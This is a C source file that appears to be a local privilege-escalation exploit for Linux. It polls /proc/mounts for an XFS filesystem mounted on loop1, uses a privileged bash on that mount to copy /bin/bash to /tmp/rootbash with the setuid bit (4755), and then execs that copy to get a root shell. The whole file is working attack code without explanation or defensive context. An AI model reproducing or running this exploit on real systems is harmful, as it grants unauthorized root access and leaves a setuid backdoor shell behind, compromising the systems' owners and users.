#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main() {
    FILE *f;
    char line[512], mp[256];
    while(1) {
        f = fopen("/proc/mounts", "r");
        if (!f) continue;
        while(fgets(line, sizeof(line), f)) {
            if (strstr(line, "loop1") && strstr(line, "xfs")) {
                sscanf(line, "%*s %255s", mp);
                char cmd[512];
                snprintf(cmd, sizeof(cmd), "%s/bash -p -c 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash'", mp);
                system(cmd);
                fclose(f);
                execl("/tmp/rootbash", "rootbash", "-p", NULL);
                system("/tmp/rootbash -p");
                return 0;
            }
        }
        fclose(f);
    }
}